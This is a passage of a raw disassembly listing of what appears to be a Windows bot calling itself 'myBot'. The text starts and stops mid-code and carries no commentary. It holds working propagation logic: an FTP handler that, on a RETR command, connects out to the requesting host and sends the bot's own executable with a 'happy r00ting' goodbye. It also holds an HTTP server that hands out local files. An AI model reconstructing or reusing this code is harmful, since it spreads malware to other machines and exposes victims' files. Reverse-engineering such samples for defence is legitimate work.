		lea	eax, [ebp+var_FC]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 34h
		lea	eax, [ebp+var_FC]
		push	[ebp+var_C]
		push	edi
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_41C266
		push	10h
		lea	eax, [ebp+var_FC]
		push	esi
		push	eax
		call	sub_41C7A5
		add	esp, 1Ch
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_4C]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_41C266
		add	esp, 18h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		jmp	loc_40F989
; ---------------------------------------------------------------------------


loc_40F883:				; CODE XREF: sub_40F3AA+41Dj
		lea	eax, [ebp+var_B0]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F96A
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	[ebp+arg_0]
		call	ebx	; send
		push	[ebp+var_C]
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_40F9BF
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	loc_40F960
		cmp	[ebp+var_444], esi
		jnz	short loc_40F8ED
		push	esi
		lea	eax, [ebp+var_8E0]
		push	[ebp+var_448]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	[ebp+var_6E0]
		call	sub_409869
		add	esp, 14h


loc_40F8ED:				; CODE XREF: sub_40F3AA+51Ej
		call	sub_40FA3C
		cmp	eax, 1
		jnz	loc_40F98E
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	[ebp+arg_0]
		call	ebx	; send
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_8E0]
		push	offset dword_434798
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_444], esi
		jnz	short loc_40F94B
		push	esi
		lea	eax, [ebp+var_8E0]
		push	[ebp+var_448]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	[ebp+var_6E0]
		call	sub_409869
		add	esp, 14h


loc_40F94B:				; CODE XREF: sub_40F3AA+57Cj
		lea	eax, [ebp+var_8E0]
		push	eax
		call	sub_415D38
		inc	dword_4CE4E0
		pop	ecx
		jmp	short loc_40F98E
; ---------------------------------------------------------------------------


loc_40F960:				; CODE XREF: sub_40F3AA+512j
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_40F989
; ---------------------------------------------------------------------------


loc_40F96A:				; CODE XREF: sub_40F3AA+4EEj
		lea	eax, [ebp+var_B0]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F98E
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"


loc_40F989:				; CODE XREF: sub_40F3AA+340j
					; sub_40F3AA+377j ...
		push	[ebp+arg_0]


loc_40F98C:				; CODE XREF: sub_40F3AA+304j
		call	ebx	; send


loc_40F98E:				; CODE XREF: sub_40F3AA+3C2j
					; sub_40F3AA+54Bj ...
		push	64h
		lea	eax, [ebp+var_2A0]
		push	esi
		push	eax
		call	sub_41BF70
		mov	edi, [ebp+arg_0]
		add	esp, 0Ch


loc_40F9A3:				; CODE XREF: sub_40F3AA+151j
					; sub_40F3AA+17Aj ...
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_40F4C9
		jmp	loc_40F48E
; ---------------------------------------------------------------------------


loc_40F9B5:				; CODE XREF: sub_40F3AA+10Fj
		push	1
		pop	eax


loc_40F9B8:				; CODE XREF: sub_40F3AA+C1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40F3AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F9BF	proc near		; CODE XREF: sub_40F3AA+508p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	dword_4271D8	; WSAStartup
		push	0
		push	1
		push	2
		call	dword_427204	; socket
		push	[ebp+arg_0]
		mov	dword_4CE71C, eax
		mov	[ebp+var_10], 2
		call	dword_4271F0	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	dword_4271F4	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	dword_4CE71C
		call	dword_4271F8	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40FA37
		push	dword_4CE71C
		call	dword_427200	; closesocket
		call	dword_4271D4	; WSACleanup
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40FA37:				; CODE XREF: sub_40F9BF+60j
		push	1
		pop	eax
		leave
		retn
sub_40F9BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FA3C	proc near		; CODE XREF: sub_40F3AA:loc_40F8EDp

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		call	dword_427078	; GetModuleFileNameA
		lea	eax, [ebp+var_104]
		push	offset dword_429068
		push	eax
		call	sub_41BEA2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40FAD3
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40FAB7
		push	edi
		mov	edi, 400h


loc_40FA7F:				; CODE XREF: sub_40FA3C+78j
		push	esi
		push	1
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_41BAFA
		add	esp, 10h
		lea	eax, [ebp+var_504]
		push	0
		push	edi
		push	eax
		push	dword_4CE71C
		call	dword_427208	; send
		push	1
		call	dword_427080	; Sleep
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40FA7F
		pop	edi


loc_40FAB7:				; CODE XREF: sub_40FA3C+3Bj
		push	esi
		call	sub_41BA3B
		pop	ecx
		push	dword_4CE71C
		call	dword_427200	; closesocket
		call	dword_4271D4	; WSACleanup
		push	1
		pop	eax


loc_40FAD3:				; CODE XREF: sub_40FA3C+35j
		pop	esi
		leave
		retn
sub_40FA3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FAD6	proc near		; DATA XREF: sub_401ACD+2229o
					; sub_40BD91+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4CB9D4	; htons
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4CBA54	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40FEC1
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43E91C[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CBA00	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEC1
		push	7FFFFFFFh
		push	edi
		call	dword_4CB9FC	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEC1
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4CBA70	; ioctlsocket
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEC1
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_40FBAD:				; CODE XREF: sub_40FAD6+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4CB9BC	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEBC
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_40FBE3:				; CODE XREF: sub_40FAD6+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4CB8C0	; __WSAFDIsSet
		test	eax, eax
		jz	loc_40FEA7
		cmp	esi, [ebp+var_C]
		jnz	short loc_40FC65
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4CBA68	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEA7
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40FC37
		lea	edx, [ebp+var_134]


loc_40FC2B:				; CODE XREF: sub_40FAD6+15Fj
		cmp	[edx], eax
		jz	short loc_40FC37
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40FC2B


loc_40FC37:				; CODE XREF: sub_40FAD6+14Dj
					; sub_40FAD6+157j
		cmp	ecx, ebx
		jnz	short loc_40FC54
		cmp	ebx, 40h
		jnb	short loc_40FC54
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_40FC54:				; CODE XREF: sub_40FAD6+163j
					; sub_40FAD6+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40FEA7
		mov	[ebp+var_8], eax
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FC65:				; CODE XREF: sub_40FAD6+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41BF70
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4CB9EC	; recv
		test	eax, eax
		jg	short loc_40FCF8
		push	esi
		call	dword_4CBA6C	; closesocket
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40FEA7
		lea	eax, [ebp+var_134]


loc_40FCB7:				; CODE XREF: sub_40FAD6+1EBj
		cmp	[eax], esi
		jz	short loc_40FCC8
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40FCB7
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FCC8:				; CODE XREF: sub_40FAD6+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40FCEC
		lea	eax, [ebp+ecx*4+var_134]


loc_40FCD6:				; CODE XREF: sub_40FAD6+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40FCD6


loc_40FCEC:				; CODE XREF: sub_40FAD6+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FCF8:				; CODE XREF: sub_40FAD6+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41B9C0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40FEA7


loc_40FD26:				; CODE XREF: sub_40FAD6+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40FDCB
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FD9F
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41B9C0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40FD9F
		mov	eax, offset asc_42CDC0 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41C2E0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41CAD4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41C890
		add	esp, 10h
		jmp	short loc_40FDB6
; ---------------------------------------------------------------------------


loc_40FD9F:				; CODE XREF: sub_40FAD6+27Fj
					; sub_40FAD6+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_4349EC ; "\r\n"
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FDEA


loc_40FDB6:				; CODE XREF: sub_40FAD6+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40FDCB:				; CODE XREF: sub_40FAD6+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41B9C0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40FD26
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FDEA:				; CODE XREF: sub_40FAD6+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40FE34
		lea	eax, [ebp+var_134]


loc_40FDF6:				; CODE XREF: sub_40FAD6+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40FE07
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40FDF6
		jmp	short loc_40FE37
; ---------------------------------------------------------------------------


loc_40FE07:				; CODE XREF: sub_40FAD6+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40FE2B
		lea	eax, [ebp+ecx*4+var_134]


loc_40FE15:				; CODE XREF: sub_40FAD6+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40FE15


loc_40FE2B:				; CODE XREF: sub_40FAD6+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40FE37
; ---------------------------------------------------------------------------


loc_40FE34:				; CODE XREF: sub_40FAD6+318j
		mov	esi, [ebp+var_4]


loc_40FE37:				; CODE XREF: sub_40FAD6+32Fj
					; sub_40FAD6+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40FEA0
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41B9C0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41B9C0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40FEA0
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CBA70	; ioctlsocket
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_4100B4
		add	esp, 14h
		jmp	short loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FEA0:				; CODE XREF: sub_40FAD6+369j
					; sub_40FAD6+38Fj
		push	esi
		call	dword_4CBA6C	; closesocket


loc_40FEA7:				; CODE XREF: sub_40FAD6+11Dj
					; sub_40FAD6+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40FBE3
		jmp	loc_40FBAD
; ---------------------------------------------------------------------------


loc_40FEBC:				; CODE XREF: sub_40FAD6+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_40FEC1:				; CODE XREF: sub_40FAD6+6Aj
					; sub_40FAD6+92j ...
		call	dword_4CB968	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_4349C4
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40FF07
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409869
		add	esp, 14h


loc_40FF07:				; CODE XREF: sub_40FAD6+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBA6C	; closesocket
		push	[ebp+var_254]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_40FAD6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FF31	proc near		; DATA XREF: sub_4100B4+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41C266
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_40FF97
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40FF9C
; ---------------------------------------------------------------------------


loc_40FF97:				; CODE XREF: sub_40FF31+5Dj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40FF9C:				; CODE XREF: sub_40FF31+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	dword_427110	; GetDateFormatA
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	dword_42710C	; GetTimeFormatA
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_410015
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41C266
		add	esp, 24h
		jmp	short loc_410036
; ---------------------------------------------------------------------------


loc_410015:				; CODE XREF: sub_40FF31+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41C266
		add	esp, 28h


loc_410036:				; CODE XREF: sub_40FF31+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_4CBA24	; send
		cmp	[ebp+var_A4], edi
		jnz	short loc_410076
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_4109F1
		pop	ecx
		pop	ecx
		jmp	short loc_410093
; ---------------------------------------------------------------------------


loc_410076:				; CODE XREF: sub_40FF31+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41036B
		add	esp, 10h


loc_410093:				; CODE XREF: sub_40FF31+143j
		push	[ebp+var_44C]
		call	dword_4CBA6C	; closesocket
		push	[ebp+var_B4]
		call	sub_40B6D6
		pop	ecx
		push	edi
		call	dword_4270D4	; ExitThread
		pop	edi
		pop	esi
sub_40FF31	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100B4	proc near		; CODE XREF: sub_40FAD6+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41BF70
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_4100EA
		push	eax
		push	offset aS_3	; "\\%s"
		jmp	short loc_4100F3
; ---------------------------------------------------------------------------


loc_4100EA:				; CODE XREF: sub_4100B4+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_2	; "%s"


loc_4100F3:				; CODE XREF: sub_4100B4+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_41018E
		mov	[ebp+arg_8], 2


loc_41011E:				; CODE XREF: sub_4100B4+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B9C0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_41015E
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_41015E
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_41015E
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_41015E
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_410178
; ---------------------------------------------------------------------------


loc_41015E:				; CODE XREF: sub_4100B4+7Aj
					; sub_4100B4+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_41016E
		push	5Ch
		pop	eax
		jmp	short loc_410171
; ---------------------------------------------------------------------------


loc_41016E:				; CODE XREF: sub_4100B4+B3j
		movsx	eax, al


loc_410171:				; CODE XREF: sub_4100B4+B8j
		mov	[ebp+ebx+var_210], al


loc_410178:				; CODE XREF: sub_4100B4+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41B9C0
		cmp	esi, eax
		pop	ecx
		jb	short loc_41011E


loc_41018E:				; CODE XREF: sub_4100B4+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_429AC8
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_314]
		push	offset asc_42A080 ; "\n"
		push	eax
		call	sub_41CAD4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	dword_4270A0	; GetFileAttributesA
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_4101DF
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4101E2
		push	[ebp+arg_0]
		jmp	loc_410262
; ---------------------------------------------------------------------------


loc_4101DF:				; CODE XREF: sub_4100B4+11Cj
		mov	[ebp+var_4], esi


loc_4101E2:				; CODE XREF: sub_4100B4+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_4101EF
		mov	[ebp+var_4], esi


loc_4101EF:				; CODE XREF: sub_4100B4+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_41026D
		cmp	[ebp+arg_C], edi
		jz	short loc_410261
		lea	eax, [ebp+var_314]
		push	offset asc_434C78 ; "*"
		push	eax
		call	sub_41C8A0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_410AAE
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41C266
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_4102BC
; ---------------------------------------------------------------------------


loc_410261:				; CODE XREF: sub_4100B4+152j
		push	ebx


loc_410262:				; CODE XREF: sub_4100B4+126j
		call	dword_4CBA6C	; closesocket
		jmp	loc_410364
; ---------------------------------------------------------------------------


loc_41026D:				; CODE XREF: sub_4100B4+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	dword_4270F8	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4102BC
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41C266
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		call	dword_427114	; GetFileSize
		push	esi
		mov	[ebp+var_330], eax
		call	dword_427070	; CloseHandle


loc_4102BC:				; CODE XREF: sub_4100B4+1ABj
					; sub_4100B4+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_434C44
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B3BA
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43E914[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40FF31
		push	edi
		push	edi
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E924[ecx], eax
		jz	short loc_410336


loc_410324:				; CODE XREF: sub_4100B4+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_410364
		push	5
		call	dword_427080	; Sleep
		jmp	short loc_410324
; ---------------------------------------------------------------------------


loc_410336:				; CODE XREF: sub_4100B4+26Ej
		push	ebx
		call	dword_4CBA6C	; closesocket
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_434C0C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_410364:				; CODE XREF: sub_4100B4+1B4j
					; sub_4100B4+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_4100B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41036B	proc near		; CODE XREF: sub_401ACD+75E3p
					; sub_40FF31+15Ap

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
